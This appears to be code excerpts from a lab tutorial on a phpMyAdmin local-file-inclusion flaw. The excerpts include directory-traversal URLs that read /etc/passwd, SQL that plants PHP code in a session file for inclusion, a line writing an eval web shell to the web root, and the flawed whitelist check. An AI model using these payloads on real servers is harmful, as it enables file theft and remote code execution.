/** * MySQL user * * @global string $cfg['Servers'][$i]['user'] */$cfg['Servers'][$i]['user'] = 'root';
/** * MySQL password (only needed with 'config' auth_type) * * @global string $cfg['Servers'][$i]['password'] */$cfg['Servers'][$i]['password'] = '123456';

/** * Authentication method (valid choices: config, http, signon or cookie) * * @global string $cfg['Servers'][$i]['auth_type'] */$cfg['Servers'][$i]['auth_type'] = 'cookie';

/** * MySQL control user settings (this user must have read-only * access to the "mysql/user" and "mysql/db" tables). The controluser is also * used for all relational features (pmadb) * * @global string $cfg['Servers'][$i]['controluser'] */$cfg['Servers'][$i]['controluser'] = 'root';
/** * MySQL control user settings (this user must have read-only * access to the "mysql/user" and "mysql/db" tables). The controluser is also * used for all relational features (pmadb) * * @global string $cfg['Servers'][$i]['controlpass'] */$cfg['Servers'][$i]['controlpass'] = '123456';

$cfg['Servers'][$i]['controluser'] = 'root';$cfg['Servers'][$i]['controlpass'] = '123456';
$cfg['Servers'][$i]['user'] = 'root';$cfg['Servers'][$i]['password'] = '123456';

INSERT INTO `student`(`id`, `username`, `password`) VALUES ('1', 'yangxiuzhang','6666666');INSERT INTO `student`(`id`, `username`, `password`) VALUES ('2', 'Eastmountain','123456');

<?php  echo('<h2>数据库测试</h2>');
  //链接数据库  $con = mysqli_connect("localhost", "root", "123456", "eastmount");   if (!$con)   {     die('Could not connect database: ' . mysqli_error());   } 
  //设置查询结果编码  $con->set_charset('utf8'); 
  //查询学生信息  $sql = "SELECT * FROM `student` ";
  //得到查询结果  $result = $con->query($sql); 
   //遍历结果  while($row = $result->fetch_array()){     list($id,$username, $password) = $row;    echo $id.' ';    echo $username.' ';    echo $password;    echo '<br >';  }
   //关闭连接  $con->close(); ?>

<?php  phpinfo();?>

/* 方法一 */http://localhost:8088/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
/* 方法二 */http://localhost:8088/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini

show global variables like "%datadir%";

CREATE DATABASE rce;use rce;CREATE TABLE rce(code varchar(100));INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24

select '<?php @eval($_POST[hcl]) ?>' into outfile '/var/www/html/hcl.php'

$target_blacklist = array (    'import.php', 'export.php');
// If we have a valid target, let's load that script insteadif (! empty($_REQUEST['target'])    && is_string($_REQUEST['target'])    && ! preg_match('/^index/', $_REQUEST['target'])    && ! in_array($_REQUEST['target'], $target_blacklist)    && Core::checkPageValidity($_REQUEST['target'])) {    include $_REQUEST['target'];    exit;}

public static function checkPageValidity(&$page, array $whitelist = []){    if (empty($whitelist)) {        $whitelist = self::$goto_whitelist;    }    if (! isset($page) || !is_string($page)) {        return false;    }
    if (in_array($page, $whitelist)) {        return true;    }
    $_page = mb_substr(        $page,        0,        mb_strpos($page . '?', '?')    );    if (in_array($_page, $whitelist)) {        return true;    }
    $_page = urldecode($page);    $_page = mb_substr(        $_page,        0,        mb_strpos($_page . '?', '?')    );    if (in_array($_page, $whitelist)) {        return true;    }
    return false;}

public static $goto_whitelist = array(        'db_datadict.php',        'db_sql.php',        'db_events.php',        'db_export.php',        'db_importdocsql.php',        'db_multi_table_query.php',        'db_structure.php',        'db_import.php',        'db_operations.php',        'db_search.php',        'db_routines.php',        'export.php',        'import.php',        'index.php',        'pdf_pages.php',        'pdf_schema.php',        'server_binlog.php',        'server_collations.php',        'server_databases.php',        'server_engines.php',        'server_export.php',        'server_import.php',        'server_privileges.php',        'server_sql.php',        'server_status.php',        'server_status_advisor.php',        'server_status_monitor.php',        'server_status_queries.php',        'server_status_variables.php',        'server_variables.php',        'sql.php',        'tbl_addfield.php',        'tbl_change.php',        'tbl_create.php',        'tbl_import.php',        'tbl_indexes.php',        'tbl_sql.php',        'tbl_export.php',        'tbl_operations.php',        'tbl_structure.php',        'tbl_relation.php',        'tbl_replace.php',        'tbl_row_action.php',        'tbl_select.php',        'tbl_zoom_select.php',        'transformation_overview.php',        'transformation_wrapper.php',        'user_password.php',);